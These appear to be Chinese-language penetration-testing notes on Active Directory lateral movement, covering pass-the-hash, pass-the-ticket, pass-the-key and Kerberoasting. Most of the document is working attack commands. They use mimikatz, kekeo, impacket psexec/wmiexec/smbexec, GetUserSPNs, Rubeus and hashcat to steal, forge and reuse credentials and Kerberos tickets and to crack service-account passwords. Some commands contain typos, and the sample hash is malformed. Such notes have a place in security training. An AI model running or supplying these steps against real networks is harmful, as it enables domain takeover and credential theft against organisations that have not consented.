横向移动-2
PTH
pass the hash(哈希传递攻击)
pass the ticket (票据传递攻击)
pass the key (密钥传递攻击)
PTH(pass the hash) # 利用的lm或ntlm的值进行的渗透测试(NTLM认证攻击)
PTK(pass the key ) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
PTT(pass the ticket) #利用的票据凭证TGT进行渗透测试(Kerberos认证攻击)
逻辑思路:
明文传递->PTH(HASH传递)->PTT(票据攻击)->PTK(AES)
利用思路:
一,利用直接的Hash传递
1,Mimikatz
1 | mimikatz privilege::debug |
2,impacket-at&ps&wemi&smb
psexec -hashes :NTLM值 域名/域用户@域内ip地址
smbexec -hashes :NTLM值 域名/域用户@域内ip地址
wmiexec -hashes :NTLM值 域名/域用户@域内ip地址
二,利用hash转成PTT传递
看下面PPT讲解
三,利用hash进行暴力破解明文
https://cmd5.com/
https://hashcat.net/hashcat/
1 | hashcat -a 0 -m 1000 --force 518b32ca32c32144ck421aa31c321c pass.txt |
字典破解
1 | hashcat -a 0 -m 1000 hash.txt pass.txt |
暴力破解
1 | hashcat -a 3 -m 1000 518b32ca32c32144ck421aa31c321c ?l?l?l?l?l?s?s?s?d?d |
1.kekeo(高权限,需NTLM)
- 利用获取的NTML生成新的票据尝试认证
因为当前主机肯定之前域其他主机连接过,所以本地应该会生成一些票据,我们导出这些票据,然后再导入票据,利用。该方法类似于cookie欺骗
缺点:票据是有有效期的,所以如果当前在连接过域控的话,有效期内可利用
生成票据:
1 | shell kekeo "tgt:ask /user:Administrator /domain:god.org /ntlm:518b32ca32c32144ck421aa31c321c" "eixt" |
导入票据:
1 | shell kekeo "kerberos::ptt TGT_Administrator@GOD.ORG_krbtgt~god.org@GOD. ORG.kirbi" "exit" |
查看票据:
1 | shell klist |
利用票据连接:
1 | shell dir \\主机名\C$ |
2.mimikatz(高权限,需Ticket)
- 利用历史遗留的票据重新认证尝试
导出票据:
1 | mimikatz sekurlsa::tickets /export |
导入票据:
1 | mimikatz kerberos::ptt [0;22d3a]-2-1-40e00000-Administrator@krbtgt-god.org.kirbi |
查看票据:
1 | shell klist |
利用票据连接:
1 | shell dir \\主机名\c$ |
注意:是否成功看当前主机有没有被目标连接过
3.Kerberoasting
- 利用通讯的加密类型票据进行爆破明文
Kerberos攻击条件:
采用rc4加密类型票据,攻击Rubeus&Impacket检测或看票据加密类型
Kerberoasting攻击利用:
https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-Kerberoasting
- SPN服务发现
- 请求服务票据
- 服务票据的导出
- 服务票据的暴力破解
https://github.com/GhostPack/Rubeus
https://github.com/nidem/kerberoast
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个
目标服务的服务票证。DC在活动目录中查找SPN,并用与SPN关联的服务帐户加密票
证,以便服务能验证用户是否可以访问。请求的Kerberos服务票证的密类型是
RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的
TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻
击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM
哈希值就将用于创建服务票证。
注意:是否成功看当前主机票据加密类型
SPN:
SPN是服务器上所运行服务的唯一标识,每个使用Kerberos的服务都需要一个SPN
SPN分为两种,一种注册在AD上机器帐户(Computers)下,另一种注册在域用户帐户(Users)下
当一个服务的权限为Local System或Network Service,则SPN注册在机器帐户(Computers)下
当一个服务的权限为一个域用户,则SPN注册在域用户帐户(Users)下
SPN的格式
1 | serviceclass/host:port/servicename |
- serviceclass可以理解为服务的名称,常见的有www, ldap, SMTP, DNS, HOST等
- host有两种形式,FQDN和NetBIOS名,例如server01.test.com和server01
- 如果服务运行在默认端口上,则端口号(port)可以省略
查询SPN
对域控制器发起LDAP查询,这是正常kerberos票据行为的一部分,因此查询SPN的操作很难被检测
(1) 使用SetSPN
查看当前域内的所有SPN:
1 | powershell setspn -q */* |
查看test域内的所有SPN:
1 | powershell setspn -T test -q */* |
输出示例:
1 | CN=DC1,OU=Domain Controllers,DC=test,DC=com |
以CN开头的每一行代表一个帐户,其下的信息是与该帐户相关联的SPN
对于上面的输出数据,机器帐户(Computers)为:
- CN=DC1,OU=Domain Controllers,DC=test,DC=com
- CN=COMPUTER01,CN=Computers,DC=test,DC=com
域用户帐户(Users)为:
- CN=krbtgt,CN=Users,DC=test,DC=com
- CN=MSSQL Service Admin,CN=Users,DC=test,DC=com
注册在域用户帐户(Users)下的SPN有两个:kadmin/changepw和MSSQLSvc/DC1.test.com
域内的任何一台主机,都能够通过查询SPN,向域内的所有服务请求TGS,拿到TGS后对其进行暴力破解
对于破解出的明文口令,只有域用户帐户(Users)的口令存在价值,不必考虑机器帐户的口令(无法用于远程连接)
因此,高效率的利用思路如下:
1,查询SPN,找到有价值的SPN,需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
2,请求TGS
3,导出TGS
4,暴力破解
Kerberoasting的实现方法一(手动检测)
需要满足以下条件:
- 该SPN注册在域用户帐户(Users)下
- 域用户账户的权限很高
手动原理:
先使用spn去获取那些通讯的服务
再去连接通讯这个服务,产生票据
查看票据的加密通讯类型判断能不能爆破
1、使用SetSPN
查看当前域内的所有SPN:
1 | powershell setspn -q */* |
2、请求TGS
(1)请求指定TGS
1 | $SPNName = 'MSSQLSvc/DC1.test.com' |
(2)请求所有TGS
1 | Add-Type -AssemblyName System.IdentityModel |
执行后输入klist查看内存中的票据,可找到获得的TGS
3、导出
使用mimikatz
1 | kerberos::list /export |
4、破解
https://github.com/nidem/kerberoast/blob/master/tgsrepcrack.py
文件票据:
1 | ./tgsrepcrack.py pass.txt test.kirbi |
HASH密文:
1 | hashcat -m 13100 hash.txt pass.txt --force |
Kerberoasting的实现方法二(工具)
工具:
1,impacket-getuserspns
请求所有SPN服务器,并找到能破解的票据格式保存到hash.txt
1 | python GetUserSPNs.py -request -dc-ip 192.168.3.32 域名/账户:密码 -outputfile hash.txt |
2,Rubeus
https://github.com/GhostPack/Rubeus
1 | TGS包直接打印能够使用John或hashcat能够破解的Hash。 |
PTK
pass the key (密钥传递攻击)
PTK(pass the key ) #利用的ekeys aes256进行的渗透测试(NTLM认证攻击)
当系统安装了KB2871997补丁且禁用了NTLM的时候,那我们抓取到的ntlm hash失去了作用,但是可以通过PTK的攻击方式获取权限
mimikatz sekurlsa::ekeys
mimikatz sekurlsa:pth /user:域用户名 /doamin:域名 /aes256:aes256值